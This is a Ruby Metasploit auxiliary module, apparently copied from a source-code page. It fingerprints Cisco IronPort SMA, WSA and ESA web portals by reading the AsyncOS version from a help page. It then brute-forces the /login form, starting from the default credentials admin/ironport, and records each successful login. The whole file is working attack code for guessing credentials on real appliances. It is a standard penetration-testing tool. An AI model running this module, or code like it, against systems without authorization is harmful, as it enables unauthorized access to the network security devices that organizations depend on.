184 lines
5.3 KiB
Ruby
184 lines
5.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/proto/http'
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::AuthBrute
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include Msf::Auxiliary::Scanner
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Cisco Ironport Bruteforce Login Utility',
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'Description' => %{
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This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS
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versions, and performs login brute force to identify valid credentials.
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},
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'Author' =>
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[
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'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
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],
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'License' => MSF_LICENSE,
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'DefaultOptions' => { 'SSL' => true }
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))
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register_options(
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[
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Opt::RPORT(443),
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OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
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OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
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], self.class)
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end
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def run_host(ip)
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unless check_conn?
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print_error("#{rhost}:#{rport} - Connection failed, Aborting...")
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return
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end
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unless is_app_ironport?
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print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
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return
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end
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print_status("#{rhost}:#{rport} - Starting login brute force...")
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each_user_pass do |user, pass|
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do_login(user, pass)
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end
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end
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def check_conn?
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begin
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res = send_request_cgi(
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{
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'uri' => '/',
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'method' => 'GET'
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})
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if res
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print_good("#{rhost}:#{rport} - Server is responsive...")
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return true
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
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end
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false
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end
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#
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# What's the point of running this module if the app actually isn't Cisco IronPort
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#
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def is_app_ironport?
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res = send_request_cgi(
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{
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'uri' => '/',
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'method' => 'GET'
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})
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if res && res.get_cookies
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cookie = res.get_cookies
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res = send_request_cgi(
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{
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'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",
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'method' => 'GET',
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'cookie' => cookie
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})
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if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
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version_key = /Cisco IronPort AsyncOS (.+? )/
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version = res.body.scan(version_key).flatten[0].gsub('"','')
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product_key = /for (.*)</
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product = res.body.scan(product_key).flatten[0]
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if (product == 'Security Management Appliances')
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p_name = 'Cisco IronPort Security Management Appliance (SMA)'
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print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
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elsif ( product == 'Cisco IronPort Web Security Appliances' )
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p_name = 'Cisco IronPort Web Security Appliance (WSA)'
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print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
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elsif ( product == 'Cisco IronPort Appliances' )
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p_name = 'Cisco IronPort Email Security Appliance (ESA)'
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print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
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end
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return true
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else
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return false
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end
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else
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return false
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end
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: 'Cisco IronPort Appliance',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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last_attempted_at: DateTime.now,
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::SUCCESSFUL,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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#
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# Brute-force the login page
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#
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def do_login(user, pass)
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vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
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begin
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res = send_request_cgi(
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{
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'uri' => '/login',
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'method' => 'POST',
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'vars_post' =>
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{
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'action' => 'Login',
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'referrer' => '',
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'screen' => 'login',
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'username' => user,
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'password' => pass
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}
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})
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if res and res.get_cookies.include?('authenticated=')
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print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
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report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.get_cookies.inspect)
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return :next_user
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else
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vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
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print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
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return :abort
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end
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end
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end
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